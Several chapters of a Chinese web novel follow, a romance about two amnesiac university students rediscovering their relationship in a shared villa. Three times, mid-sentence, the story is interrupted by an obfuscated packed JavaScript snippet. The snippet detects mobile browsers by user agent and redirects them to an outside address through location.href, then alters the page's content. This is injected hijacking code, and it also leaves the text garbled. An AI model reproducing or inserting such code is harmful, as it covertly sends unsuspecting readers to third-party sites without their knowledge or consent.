此人出没在自己各个社交软件和手机通讯录里,不是置顶就是特别关注,而自己给他的备注也从一而终,就两个字; 傻帽。 这人的头像是一匹趴在地上的……狗?狼?仔细看看应该是狼,很帅,正用专注又纯粹的眼神望着前面一朵小花。 有点儿猛虎细嗅蔷薇的意境。 这人谁? 从自己的特别关注来看,他应该跟自己关系匪浅,但“傻帽”这个备注吧,很难说是昵称还是难听的绰号啊。 如果是昵称…… 夏时又点开他的头像仔细看了看,在大图里,能清楚看到狼的眼神显得很温柔,夏时手指一顿,莫名想到了祁言在“烛光晚餐”里的神情。 ……“傻帽”不会是祁言吧? 与此同时,祁言正盯着手机里备注为“呆瓜”的号。 他试着在心里默念了一遍,怎么想都觉得这个称呼对自己来说过分亲昵了,因为够不上骂人,反而像是自己拿此人没辙,无奈敲下这样的昵称。 就是不知道“呆瓜”本人看到这个备注会怎么想。 “说谁呆呢?” 祁言脑子里忽的响起这么一道忿忿的声音,很模糊,不清晰,连音色都失真,却在祁言心口不轻不重一戳。 就好像有什么令他怀念的情绪,透过模糊的记忆传了过来。 这也行? 祁言想努力抓住那点儿片段,但记忆画面就这么没了,他回味了下刚才心脏的悸动,觉得真神奇,由于难得,他都舍不得让这份感觉消散了。 是谁在记忆里跟他说话,让他失忆了还恋恋不忘,会是夏时吗? “呆瓜”的头像是只窗台上的猫,长毛布偶,白白软软一团,灿烂的阳光让整张头像氛围明媚又温暖,猫儿偏着头,正望向窗外。 看什么呢?不好猜,但祁言已经基本猜出了头像主人的身份。 以祁言的性格,不可能给兄弟朋友备注如此暧昧不清的称呼,那只可能是夏时了。 可夏时看着机灵又聪明,跟呆也不沾边啊? 祁言刚想着要不试试账号究竟是不是夏时,他的手机就忽然响了,新手机默认来电音乐刚炸了个前奏,又迅速戛然而止。 对面挂了电话,通话结束,来电显示:呆瓜。 祁言扭头,正好看见夏时摁断了通话键。 明明祁言不可能看清屏幕上的字,夏时还是心虚地把手机挪了挪:“我在手机里看到个备注,猜可能是你,就试试,你手机还真响了啊。所以,你社交账号头像是一只狗……额不是,一只狼吗?” “对,是我,”祁言点头,顺嘴问,“所以我的备注是什么?” 夏时一惊:不好! 他脱口而出:“大帅比!” 开玩笑他当然不可能直呼祁言傻帽。 夏时赶紧转移话题:“那你给我的备注呢?” 祁言:糟糕! 呆瓜这个称呼必须不能被夏时知道。 于是祁言张口就来:“小宝贝!” 祁言嘴比脑子快,等他意识到自己说了什么,顿时浑身一僵。 祁言:……完了。 夏时“唰”地扭头,瞳孔剧颤,大惊失色:不是,这么肉麻的吗?! 祁言痛苦地反省:我脑抽了吗?喊什么小宝贝,就算是被夏时那声大帅比影响了,可那么多能选的称呼,直接用“小同学”也行啊。 一声“小宝贝”喊得如此顺口毫无滞涩,该不会从前我一直都这么叫他吧? 那很可怕……不是,那感情是真的很好了。 祁言眼角余光悄悄扫过如芒刺背如坐针毡的夏时,心道:虽然他完全想象不出来自己谈恋爱的模样。 父母口中那个热恋期的自己真的太陌生了,陌生得让他觉得很不真实。 不过自己缺失了那么多记忆,话也不敢说太死,毕竟祁言自己都不知道恋爱时的自己能做出些什么。 说出去的话泼出去的水,祁言只能硬着头皮认下亲口加封的“小宝贝”,他闭了嘴,没敢直视夏时,用单手爆出最高手速,噼里啪啦点击屏幕,飞快把夏时的备注挨个改掉。 开玩笑,以后上交手机给夏时检查的时候,“呆瓜”两个字必须毁尸灭迹! 忙着操作的不止他一个,夏时手速半点不落下乘,迅速把傻帽整整齐齐变成了大帅比。 改完,夏时才有余韵面对昵称带来的冲击。 他低着头,完全不敢去看祁言,假装认认真真盯着手机,仿佛在研究什么学术大作。 如果他耳朵没有飘红的话。 讲真,刚听到那声“小宝贝”,宛如雷劈,把夏时雷了个外焦里嫩。 如果只是躺在手机里的昵称,他还能勉强忍一忍,但是,如果大概万一,从前祁言也是这么叫他的呢? 都说恋爱使人降智,夏时没有恋爱的记忆,只觉得过去的自己恐怖如斯,居然能跟别人如此腻歪,现在的他光是想想那场景,就恨不能换个星球生活。 人甚至不能跟以前的自己共情。 好在祁言并没有拿“小宝贝”三个字继续揶揄,夏时也不敢再碰这话题,就此打住。 空气里的沉默染上了与先前截然不同的气氛,如果他俩还是恩爱的小情侣,气氛应该是粉色,然而两个制造者没一个敢吭声。 敏锐的雷达告诉他们,前方危险,交流暂停! 所以两人都默契揭过,暂时当做无事发生。 接下来两天,他们表面假装“小宝贝”没存在过,其乐融融,内心都大松一口气。 很好很好,只要不提,那个称呼就不存在! 时间一到,夏时和祁言该出院了。 父母原本想庆祝一下顺利出院,但两人现在只想从简单安静的环境开始适应,于是庆祝宴取消,父母派车将他们送回了大学附近的别墅。 别墅里没有请人专门照顾,每周会有家政定点来打扫,房屋布局跟装潢和夏时记忆里没差别,只在某些细节处对不上。 比如玄关的拖鞋,摆着他没买过的款式,而祁言进门就换上了; 再比如一楼的水吧台,除了制式杯子外,夏时有个常用的居家水杯,上面印着伸懒腰的猫咪,吧台上还有榨汁机、果干、蜂蜜罐和牛奶等等,这就是夏时记忆里的全部摆设。 可现在就在吧台另一端,一个印着大型犬的杯子威风凛凛,格外醒目,后边跟着咖啡机、咖啡豆还有各种各样的咖啡壶等全套物资,和夏时的甜水区遥遥对峙,泾渭分明。 夏时喜欢甜的,对咖啡无感,咖啡区属于谁已经显而易见了。 还有,拉开冰箱,里面摆放着满满当当未经加工的食材——可夏时根本不会做饭。 祁言吊着手臂凑过来:“正好时间差不多,先吃饭吧,你有什么忌口的?” 为了安全起见,他们都有跟父母确认过是否有食物过敏等,好在这部分的记忆完全对得上,没出岔子。 夏时讶异回身:“你会做饭?” “对啊,”祁言说着拿出了一盒牛肉,看了看保质期,确认能吃,“很意外?” 夏时看了看这位折了条胳膊也能走T台、跟居家俩字完全搭不上边的大帅哥,诚实道:“有点。” 祁言:“那我不得给你露一手。” 虽然暂时也只能用一手。 从失忆后开始算起,他们才认识三天,夏时怎么好意思让伤患操劳而他擎等着吃,他想让祁言歇着,但祁言很有做饭的兴致,于是退一步,祁言主厨,夏时帮忙。 夏时:“你单手不方便,我来打下手。” 没吃过猪肉还没见过猪跑嘛,虽然他不会做饭,但做饭视频是刷过的,洗菜切菜之类的看起来也不麻烦,他肯定能行! 祁言非常欢迎:“行啊。所以你还没告诉我你有什么忌口呢,以及有什么特别想吃的吗,我看冰箱内容很丰富。” “我没忌口,吃什么都行,对了,不能太辣,太辣的受不了。” 噢,祁言边默默记下,边试着问:“做个糖醋小排?” 夏时眼睛一亮:“好啊!” 祁言瞧着他明朗起来的小表情,就知道:他喜欢甜的。 顺着水吧台上的东西猜测夏时会不会连菜也爱吃甜口的,还真给他猜中了。 夏时真心实意觉得快乐的时候,他身边仿佛在不断冒小花,愉悦轻松的气氛能让周围人都感到放松,连祁言都觉得自己心口的弦被轻轻勾了勾。 疏忽了,祁言想,他没了记忆,在恋爱方面就是个生疏的新手,先前只顾着问爸妈夏时有什么介意和不喜欢的东西,却忘了问人家喜欢什么。 回头得问问,再好好记下来,平常也能多让夏时高兴高兴。 毕竟夏时笑起来真的很好看。 夏时确实很开心,他不好意思点菜,没想到祁言一下就说中了他喜欢的,该不会偷偷朝父母打听过他的喜好了吧? 大意了,夏时懊恼,他也要问问父母,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519505|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加主动了解祁言的喜好才行。 不过……夏时偷偷看向正从冰箱往外面拿东西的祁言,想起了自己妈妈说的那句: 祁言对你真的很好。 短短几天下来,夏时就发现,祁言真的很会照顾人。 那他也不能输,不能总接受祁言的好意而不回馈,好,就先从一起做饭开始! 其实祁言从夏时方才惊讶的语气里猜测小同学可能不会做饭,但他一口答应,是觉得有他这个大厨在旁边看顾,肯定不成问题。 再说,一起做事也是加深彼此了解的好方法。 夏时和祁言双方都很自信。 等进了厨房,他们就发现还是自信早了。 “肉需要改一下刀?好的没问题。” “危险,菜刀不是这么用的!放着我来吧,嗯?我单手不方便?没事,今天稍微将就一下,就不讲究肉的美观了。” “放两勺盐腌制对吧,这样够了吗?” “我看看……慢着是小勺,小勺!” “鸡蛋鸡蛋,在这儿,你要做炒蛋?” “对,我来热油,好了,你帮忙把蛋打进来就行……等下!放低一点不然油锅会溅——” 伴随着油锅滋啦炸响,祁言的嘴终究是没能赶上夏时的手,单手的他和双手的夏时手忙脚乱,在热油飞溅的厨房里舞出了猫飞狗跳的阵仗,热闹非凡,等终于把油锅抢救下来,迎接他们的是一锅炸糊了的“炒鸡蛋”。 还躺着半个明晃晃的碎蛋壳,仿佛咧嘴在对他们进行无情地嘲笑。 夏时:“……” 祁言:“……” 祁言:“……不然还是叫外卖吧?” 夏时:“……叫外卖吧。” 再让他们继续合作,今天怕是只能饿着肚子睡。 夏时有点泄气,发丝都可怜兮兮蔫了下来:“抱歉。” 祁言:“别道歉,没事。” 帮忙不成反添乱,真是灾难,但祁言丝毫没有生气或者不耐烦,甚至已经开始收拾起来,夏时赶紧一起,能补救一点是一点,一边忍不住道:“你脾气一直这么好吗?” 他把厨房糟蹋成这样,祁言甚至连眉头都没皱过。 祁言将盘子放进洗碗机:“也不是?就是……” “因为我是特殊的?”夏时都学会抢答了。 祁言扬了扬眉,姿态从容:“对,而且一点儿小事也没什么好生气的。” 夏时手一顿,颔首:“我明白了。” 他低下头,将碎掉的蛋壳扔进垃圾桶,额发盖住了他一点表情。 夏时确定了两件事: 一,祁言脾气真的很好。 二,他最初对祁言的判断果真没错。 祁言心防分明比想象中还重。 祁言说话好听,如沐春风,但他偏偏可以一边嘴上说着“你对我来说是特殊的”,一边却无形地划下界限,牢牢筑墙,根本不让人轻易靠近。 典型的外热内冷,高防备性格。 夏时没被祁言的温柔给蒙蔽双眼,头脑清醒:所以,我在他心里的位置可能就比陌生人好上那么一点。 对祁言来说,跟人有过度的牵扯或许是一种麻烦。 这一通的分析非常到位,然而下一刻,夏时冷静的揣摩迅速拐向了令人意想不到的方向。 夏时:即便如此,祁言却仍旧在努力试着对我好,这是多么不容易啊! 他真的,我哭死! 祁言要是能听到他的心声,怕不得满头问号:啊?谁不容易,我吗? 可惜他听不到,也不知道夏时更加坚定了决心:没事祁言,我一定好好对你! 外卖是专送,来得很快,饭菜里有糖醋小排,两人吃过饭又歇了一会儿,是该回卧室的时间了。 卧室在二楼,两人踩着楼梯拾级而上,动作同步,路线一致,直到在二楼走廊的位置,他们一左一右岔开道路,脚步转向了不同方向。 他们在自己房间门口停下。 两个不同的房间,分立在走廊两边。 夏时和祁言抬头对视:原来他们没住在一个卧室啊。 还好还好,如果真要他们这会儿就同床而眠,那还是有点难为情。 夏时:“我住在这间。” 祁言:“嗯,我是这个屋,那明天见?” “好,明天见。” 祁言进了屋,屋里大致是他熟悉的模样,他刚往前走了两步,刚关上的门突然被敲响了。 嗯? 祁言开门,门口站着去而复返的夏时。 祁言疑惑,难不成是还有什么重要的话忘了交代?他刚要问,就听到夏时先一步开口:“差点忘了,你单手洗漱肯定不方便——” 祁言眼角一跳,忽然有了不妙的预感。 果然,下一秒,夏时掷地有声:“我来帮你洗澡吧!” 这次他肯定不搞砸! 5. 第五章 深更半夜,孤男寡男,他们以前是情侣现在好像也没分手,然后你说你要帮我洗澡? 祁言的目光掠过夏同学出众漂亮的脸,战术性往后仰了仰:“不好吧?” 这么大胆的吗? 夏时一本正经:“有什么不好的,在医院就是护工帮你,你单手很麻烦吧?” 祁言十分感谢并委婉拒绝:“我自己慢慢来也还成。” 祁言想着让他知难而退,又要把话说得好听,转念一想,计上心头,嘴角扬起个有点儿佻达的笑:“而且我说的‘不好吧’指的是……”他故意压了压嗓音,“介于我俩现在的关系,一来就直接共进浴室,可能不太好。” 把轻飘飘的话压成了惹人遐想的暧昧,却又带着风度与优雅,让人不但不会反感,还容易脸红心跳。 夏时会有什么反应呢?又会红了耳朵惊得说不出话,还是跟碰了尾巴的猫一样跳起来逃开? 总之只要放弃就行,祁言是这么打算的。 但他一垂眸,却顿住了。 他对上了夏时纯粹的眼神。 夏时的反应不是他想象中任何一种,既没有躲避,也没有羞赧,反倒认认真真凝视着他。 夏时比祁言略矮上一寸,他抬眸瞧着祁言,半点没被动摇:“从重新认识的时间开始算,我们现在就是纯洁的男男关系,性别相同帮忙洗个澡有什么大不了的。” 纯洁的夏同学还用眼神略微谴责了不纯洁的祁同学:哇,你这都能想歪? 祁言:“……” 神特么纯洁的男男关系! 最先发明这话的人简直天才。 天才到把此刻祁言堵得无语凝噎。 祁言扶额,发现自己对夏时判断有误,小同学可不止会害羞,胆子大起来时语不惊人死不休,跟竖起耳朵雄赳赳气昂昂的猫一样,堵住你逃跑路线,爪子一搭直勾勾盯着你:人,听我给你喵! 听不完休想逃的那种。 这类直白的好意,祁言有点不适应。 可迎着夏时直直望向自己的眼神,那些用来应对陌生人的漂亮话莫名就说不出口了。 别人能不能拒绝夏时这样的眼神祁言不知道,反正他不行。 祁言手指动了动,不得不承认自己败下阵来。 唔,虽然输了,但感觉居然不坏。 “我投降,好吧,其实如非必要,我不太喜欢跟人有过多肢体接触。” 夏时一愣。 “护工帮我的时候,其实也就帮我调了调手臂的位置,再递了下毛巾,”祁言终于放弃弯弯绕绕,坦诚道,“剩下的都是我自己慢慢来。” 夏时没想到祁言拒绝的原因竟然是这样:“那你跟我握手的时候——” 我甚至没看出你有半分排斥。 夏时倏地闭嘴,把后面的话咽了回去。 他从祁言含笑的眼眸里读懂了,祁言是真的有努力在适应自己这个室友。 被人包容和关照的感觉让夏时心头一暖,不过相比之下,自己做得也太不够了! 要他就这样直接离开他不甘心,毕竟还什么忙都没帮上,可当然不能做祁言不喜欢的事,怎么办呢? 夏时左思右想,折了个中:“那我帮你调一调手臂的位置吧,会努力不直接碰到你的,行么?” 输一城是输,给两城也是给,祁言答应下来:“好,麻烦你了。” 夏时可算能帮忙:“不麻烦。” 他进了祁言卧室,祁言先去床边坐着,慢慢一点点拆掉固定带,将小臂放到腿上稳住,而后解开了自己衣服上的纽扣。 他今天穿着一件黑色短袖衬衫,受伤期间为了方便,他还得穿一段时间能从中间解开的衣服,好在衣服多,随便挑。 等最后一颗扣子挑开,祁言上半身的身材一览无余。 夏时本来在旁边专心致志等着祁言脱好衣服后给他调整固定带,在看清祁言的身材后,眼神一顿,而后不受控制从胸口往腰腹一滑。 腹肌,极其赏心悦目的腹肌! 身材这么好的吗! 隔着衣服,尤其是宽松的病号服时,夏时还以为祁言跟自己应该没多大差距,此刻才发现自己大错特错。 祁言是典型的穿衣显瘦脱衣有肉,胸腹都很结实,一呼一吸之间,无声散发着张力十足的荷尔蒙,那肌肉线条惹人注目,多一分夸张,少一分太瘦,力量感恰到好处。 是夏时羡慕不已的身材。 怎么练的啊,也太好看了,夏同学完全挪不开目光。 祁言单手慢腾腾终于把衣服脱好后,扭头就发现了小同学藏不住的羡慕眼神。 祁言一挑眉,起了点揶揄心思:“好看吗?” 夏同学内心高呼:好看! 夏时嘴上矜持:“嗯,挺好的。” 他方才不知为什么,听到这个问题时脑子里闪过一句话:别夸,夸了他尾巴得翘上天。 可他就是要对祁言好啊,该夸就得夸,那个念头怎么回事,太不利于他跟祁言建立良好的室友关系了。 祁言唔了一声:又没看到小同学红彤彤的样子,太可惜了。 夏时依依不舍挪开了欣赏腹肌的视线,先把祁言右臂罩上防水袋,再用固定带帮他调整手臂位置。 别看夏时做饭不行,做别的却很行,他的手很稳,动作不快不慢,还小心翼翼避开了跟祁言皮肤的直接接触。 他说要努力,还当真一点儿都没碰到祁言,反倒是祁言的目光落在夏时的指尖上,跟着一点点挪动。 夏时的手指也很好看,白皙,修长,指甲修剪得圆润,指尖带着健康的血气,祁言不由想起在医院第一次握手时感受到的温度,温暖,舒服。 让他莫名有种想把这挪动的指尖重新捏回手掌里的冲动。 看他明明真的不喜欢随便跟人接触。 ……不会吧,祁言不着痕迹垂下眸,避开那简直堪称拨弄在自己心口的指尖。 不会是什么“脑子不记得了但身体还记得的”桥段吧? 说起来,他跟夏时以前感情如果这么好的话,那他俩亲密接触的程度……到哪一步了? 牵手?接吻?还是上广…… “好了。” 夏时的声音打断了祁言某个没想完的字,他回神,手臂重新固定起来的位置刚刚好,松紧也很恰当。 祁言:“嗯,合适,心灵手巧啊,谢了。” 夏时可算是照顾了祁言一回,小表情美滋滋:“不客气,洗完后的调整也可以让我来。” “不用了,我自己能行,今天刚到家,你也累了,快去收拾收拾休息吧。” 夏时:“真不用?” 祁言:“真的。” “好吧。”夏时对照顾祁言这事儿还有点意犹未尽,“如果改主意了,叫我一声就行。” 祁言乐:“好的,热心的小同学。” 夏时起身准备离开,闻言忍不住道:“我俩差不多大,同学就同学,干嘛非得加个‘小’字?” 因为看你可爱。 祁言:“因为顺口?” 夏时看起来很有话说,但蓦地想起什么,又闭了嘴。 … ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519506|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …小同学就小同学吧,至少比小宝贝强多了。 夏时退而求其次,说服了自己。 回到自己房间后,夏时也先冲了个澡。 他把自己泡进浴缸里,被温度适宜的水裹着,没了满身的疲惫,回到熟悉环境的放松与懒洋洋这才不紧不慢爬上来,让他长舒一口气。 夏时掬起一捧水,顺着水滴落的位置,他低头,看到了自己的小腹。 劲瘦、匀称,没有一丝赘肉,很标准的身材,很不错的腰。 但是没有腹肌。 夏时捏捏自己的腰,脑子里又闪过祁言那美好的腹肌。 他深呼吸,猛地把半张脸埋进水里,咕噜噜冒了两个泡。 他记忆里自己有去健身,但由于不想用蛋白粉练太死的肌肉,导致一直没什么成果。 好吧好吧,有些东西欣赏一下别人的就行了。 舒舒服服泡完澡,夏时吹干头发,浑身松快,这才有心思重新打量起自己的房间。 他跟祁言是恋人,客厅里能有对方的东西,卧室里或许也有。 显眼的桌面柜面等位置跟记忆里没差,夏时翻了翻,还真在床头柜最下面一格深处摸出个他毫无印象的东西。 一个棕色的盒子,质量不错,没有任何logo,简单大气,适合装一些贵重物品,但打开后,里面的东西不仅不贵,还朴素过了头。 一叠干燥后的银杏叶,和一个狗子造型的小夜灯。 放在这么难找的位置,灯应该是很久都没用过了,而银杏叶有十片,每一片上都写了字,简简单单四个大字: 生日快乐。 夏时新奇地翻看起不存在他记忆里的东西,银杏叶上的字迹并不是完全相同的,最上面三片的字很像,笔锋已经成型,铁画银钩十分漂亮,而往下,字型虽然也不错,但明显看得出更青涩,更幼稚。 一共十片,如果是不曾间断的,那么就是有人从夏时十岁开始,每年都会在他的生日送上这么一片,而夏时明显非常珍惜妥帖地收藏了起来,保管得十分小心。 谁?会是他最好的朋友,还是……祁言? 可如果是祁言,以父母口中他俩亲密无间的关系,夏时干嘛不大大方方摆出来,直接放旁边玻璃柜里,抬眼扫过去随时能看到,而不是塞在不起眼的底层柜子深处,仿佛藏起来,深怕被别人发现似的。 夏时不理解。 他把小夜灯拿起来,捏了捏狗子的耳朵,他又不怕黑,左看右看也没看出此灯暗藏机关,所以它有什么特殊之处,值得自己另眼相待? 哪怕是祁言送的,也不可能这么多年就送一件夜灯啊,别的礼物为何不配被收藏。 不过说起来,夏时房间里还真没多少祁言的痕迹,浴室里的物品也都是单人的,看起来完全没有两人共用浴室的需求。 情侣什么情况下需要共用浴室? 所以……要么他和祁言还没亲密到最后一步,要么可能阵地在祁言房间。 年轻人血气方刚又青涩,一想到成人话题夏时就有点面热,然后不可避免的,眼前又晃过了某人完美的身材。 那么好看的肌理线条,如果用力,绷紧轮廓肯定更加让人移不开眼,当暧昧的热意蒸腾,水珠沿着线条滚落,祁言带着低低的嗓音就这样朝自己靠过来的话…… “腾”地一下,夏时的脸蛋瞬间红了个透! 打住打住别想了啊啊啊啊啊!我又不喜欢男的!不是,我的意思是现在我还不喜欢男的! 没错,夏时抱着狗子夜灯红彤彤地想:我还没准备要谈恋爱呢! 6. 第六章 祁言洗过澡,把固定带独自重新弄好,得亏他是个左撇子,左手做事很利索。 他把自己收拾完,也跟夏时一样,检查起自己的房间来。 他房间里东西还不少,在某个柜子最底层,祁言搬开了外面一圈杂物后,露出了最里面排得整整齐齐的一排——连包装都没拆开的小夜灯。 祁言单手拎出一个,生产日期是九年前,也就是他十岁的时候,夜灯既不是限量版,也没什么特别的地方。 他对这些夜灯完全没印象,买这么多干什么,他又不怕黑,晚上睡觉从来不留光。 【可是他怕】 一个意识突兀地从脑子里冒出来,祁言一愣,立刻顺着念头,努力想要回忆起什么,但是费了半天功夫,什么也没想起来。 祁言面色沉了沉。 直觉告诉他这是很重要的记忆,但偏偏他忘得一干二净。 谁怕,怕什么?怕黑?是……夏时吗? 如果真是夏时,自己为什么不把夜灯送给他,反而全部留在柜底吃灰? 先前询问爸妈的时候,爸妈也没说过夏时怕黑。 但有些事情,除了他自己想起来,恐怕没人能给他答案,父母也不是全知视角。 今天在别墅里见到的生活痕迹,其实让祁言有点怀疑他和夏时的关系。 因为从门口的拖鞋到客厅各种摆件,他俩的东西一眼就能看出界限,放得互不干扰,泾渭分明,怎么看,都没有亲亲密密挨在一起的模样。 爱整洁是一回事,但什么东西都必须隔开十万八千里,那又是另一回事了。 究竟是摆放习惯,还是……他们之间根本没有那么亲密? 祁言本来对找回记忆没多么迫切,因为他明白干着急无用,不如放平心态,但是现在,他是愈发被勾起好奇心了。 祁言放下了夜灯。 被藏在深处的不止夜灯,还有台相机。 相机也是老款了,好像是四五年前的款,但在当时绝对算得上高配,各类镜头都是全的,价格可不便宜,保养得也很好。 祁言打开相机时,发现里面居然还有电,于是翻看起里面的照片。 随着照片一张张滑过,祁言的神色从面无表情到愕然,再到深深陷入了沉思。 他猜过相机里可能有很多夏时的照片,但万万没想到,相机里全是夏时的照片! 连一张多余的风景都没有,可以说这台相机完完全全就是为夏时准备的。 当然,有时候难免会有旁人入镜,比如操场上一大群人簇拥着夏时,把他围起来欢呼的模样,相册里夏时跟现在相比长得更青涩,校服也是高中的模样。 祁言翻着翻着,看到其中一张,夏时正面对着镜头,冲镜头一勾手,像是对相机主人的挑衅,又像宣战,可他正笑着,肆意热烈,神采飞扬,午后的阳光把夏时原本就浅的眸子照成了琥珀色,那笑容光彩夺目,穿透照片一下砸在祁言心上。 等祁言回神的时候,他才发现自己已经被这张照片硬控了好几分钟。 他每天早上起来都能在镜子里看到自己的脸,爸妈也长得好看,本来以为对俊男美女已经毫无波澜,今天才知道,原来自己还是有点颜控属性在身上的。 夏时的笑太美好了。 就像全世界的星星都落进了他眼里。 望着他的人,只要伸手掬一捧,就能体会到同样的幸福。 夏时的笑就是有这样的感染力,简直像奇妙的魔法。 祁言默默关上了相机。 他是个有自制力的成年人,不可能干出一晚上不睡,就一张张翻看夏时照片这种事的。 祁言默默低头看着手里的相机。 三秒钟后,他重新开机。 ……就再看几张,绝不熬夜,祁言冷静地想。 今天时候也不早了,明天他还要记得问问爸妈,夏时有没有怕黑的毛病。 祁言这边发现了新大陆,隔着一个走廊的夏时把夜灯和银杏叶收起来,又翻看了一会儿自己的电脑后,打着呵欠,关灯睡觉。 他以前也能熬夜,不知道这几天是不是医院养出来的作息,到点就困,夏时开着空调躺进被窝里,美美准备入睡。 他没有失眠的毛病,睡觉的速度很快,但不知为何,今天闭上眼后,一股难以言喻的恶寒从他脊背窜出,冷得他狠狠一颤。 怎么回事,是空调温度太低了?夏时连忙睁开眼,他感到心跳莫名加速,不像是普通的冷,那寒风卷着他骨头,在他调整了空调的温度后,依然如跗骨之俎徘徊不去。 他重新躺回枕头上,闭上眼,并没有发现自己的手在无意识颤抖。 一片无垠的黑暗里,夏时只听到自己耳边心脏越来越重、越来越重地敲响,一下又一下,咚、咚、咚。 黑暗原本温顺又安静,是甜甜梦乡的温床,此刻却突然变成了汹涌的潮水,猝不及防朝他砸下,夏时心跳如擂鼓,难受得闷疼,他惊悸睁眼,猛地翻身坐起,那一瞬间他好像忘记了怎么呼吸,没有源头的恐慌就这么毫无征兆吞没了他。 时钟指向十二点。 说好不熬夜的祁言还靠在床头,聚精会神翻看相册,由于太入神,房门被大力敲响的时候,祁言被震得手一抖。 祁言连忙捉稳了相机,还好还好,没把相机磕着碰着。 夏时又来找他了,是还有……祁言余光一扫时间,顿时愣住。 十二点了,不知不觉居然已经这么晚了!先前在医院,这个点夏时早该睡熟了。 祁言意识到了不对。 半夜三更,要是没事,室友不会来随便打扰。 敲门声又重又急,好像有事迫在眉睫,但在迅疾的三下之后,那声音却突然停了,安静得仿佛刚才的巨大声响只是深夜里的错觉,是不清醒的幻听。 祁言头皮一麻,抓过床头的固定带匆匆绑了,下床三步作两步冲到门边,赶紧拉开了门。 出什么事了?着火了,进小偷了?别墅优秀的安保系统也没报警啊。 “发生什……” 祁言的话断在口中。 门口的夏时是他完全没见过的模样,不管是这几天,还是那些丰富的照片里。 夏时开朗,爱笑,然而此时的他面色惨白,像刚经历了什么巨大的恐慌,祁言看到了一只挣扎着从水里爬上岸的小猫,没了平日里的漂亮神采,正瑟瑟发抖。 夏时抬眸看向祁言,他眼中是还没消去的惊悸与茫然,嘴唇嗫嚅着,没能挤出半个音节。 他失魂落魄,连带祁言都感觉心口被蜇了一下。 但这时候必须有人保持冷静,外面的灯不知什么时候全亮了,大概是被夏时唤醒的,祁言确认别墅里没别的动静,依然安全后,抬手搭住夏时的肩膀,让他进屋:“先进来。” 夏时麻木地跟着祁言进屋,又被按坐在床上,全程没给多少反应,祁言看他还在发抖,放轻了声音:“你冷吗?” 夏时宛如惊弓之鸟,这么轻的话也能惊得他一颤,他额间带着冷汗,无措地摇摇头,又点点头。 祁言便关了空调,他抖开被子把夏时裹了起来,想了想,在夏时面前蹲下,号称不爱接触人的他试探着抬手,用骨节分明的手指轻轻捏住了一点夏时的指尖。 好凉,这是祁言第一感受。 夏时没有躲,这是他的第二个想法。 祁言便维持这个姿势,缓声问:“出什么事了,能和我说说吗?” 他也不急着逼夏时立刻回答,只捏着他的手指,感受到夏时冰凉的指尖一点点回温,非常有耐心地等着。 夏时涣散的瞳孔在屋子亮堂的灯光下重新聚焦,等意识和感官重新回到大脑,他第一个感受是热,大夏天的,没了空调,身上的被子很热,祁言的指尖也很热。 ……但他不想松开。 夏时乌黑的眼睫颤了颤,紧绷的肩膀跨下,整个人是脱离困境后难言的疲惫。 夏时低头看向屈膝在他身前,静静等着他的祁言,心里莫名委屈与酸楚,开口时声音有些哑:“……不冷了,把空调打开吧,你都快冒汗了。” 听到夏时能出声说话,祁言就知道他已经平静下来,他没急着起身:“所以,怎么把自己弄成这样的?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519507|186262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……不知道,我就是正常的睡觉,”夏时回忆起方才的感觉就一阵后怕,“突然就心悸气短,特别……特别地难受。” 他自己也不知道,那应该跟失忆有关,千防万防,没想到还是有某段丢掉的记忆影响了正常生活。 祁言想到了刚才外面灯全部亮了,还有自己那排没送出去的小夜灯,以及先前脑子里冒出的想法,结合种种线索,夏时难道真的怕黑? 并且还不是普通地怕,他面颊苍白,连唇上血色都淡了,或许已经上升到了心理病症的程度。 夏时垂眸,看着祁言触碰着自己的指尖,他心头发胀:“又给你添麻烦了,你明明不喜欢被人碰……我没事了,谢谢。” 祁言叹了口气,夏时知不知道自己说这话时,手都还在发抖? 自己都成这样了,却还顾及着我。 祁言心尖软了一片。 他不但没松手,反而不轻不重捏了捏,在夏时慢慢睁大的眼睛里笑笑:“不勉强,我其实也想努力去跟别人接触,改改自己的毛病,跟你握手也是在帮我。” 夏时:“……” 他往被子里埋了埋,声音闷闷道:“……骗人。” 谁都听得出来是祁言在安慰他,但祁言说:“真没骗你。” 他看夏时恢复了,起身,重新打开空调,一边把相机收起来,一边道:“你这样子让人没法放心,今晚就在我屋里一起睡吧,有什么事我还能照看着。” 夏时惊得直起身,被子从他肩上往下滑,他忙道:“那怎么行,已经够麻烦你了,这么晚了我还跑过来找你,我、我是脑子不清醒,抱歉,我是想说……” 夏时懊恼地按了按脑门,先是莫名其妙的惊惧发作,现在又语无伦次,难不成有什么后遗症让他脑子出问题了? 